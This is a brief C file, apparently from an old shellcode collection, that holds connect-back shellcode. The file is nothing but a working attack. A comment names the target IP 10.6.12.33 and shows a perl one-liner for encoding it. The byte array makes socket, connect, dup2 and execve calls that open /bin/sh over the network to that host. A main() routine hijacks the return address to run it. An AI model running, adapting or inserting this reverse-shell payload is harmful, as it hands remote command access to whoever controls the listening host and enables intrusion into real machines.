/* * Connecting back shellcode. In this case the connection is made to * \x0a\x06\x0c\x21 which stands for 10.6.12.33: * * perl -e 'printf "0x" . "%02x"x4 ."\n",10,6,12,33' * * Written by zillion (safemode.org) * */ char shellcode[] = "\xeb\x52\x5e\x31\xc0\x88\x46\x07\x6a\x06\x6a\x01\x6a\x02\xb0" "\x61\x50\xcd\x80\x89\xc2\x31\xc0\xc6\x46\x08\x02\x66\xc7\x46" "\x09\xaa\xaa\xc7\x46\x0b\x0a\x06\x0c\x21\x6a\x10\x8d\x46\x07" "\x50\x52\x31\xc0\xb0\x62\x50\xcd\x80\xb1\x03\xbb\xff\xff\xff" "\xff\x43\x53\x52\xb0\x5a\x50\xcd\x80\x80\xe9\x01\x75\xf3\x31" "\xc0\x50\x50\x56\xb0\x3b\x50\xcd\x80\xe8\xa9\xff\xff\xff\x2f" "\x62\x69\x6e\x2f\x73\x68\x23"; int main() { int *ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; }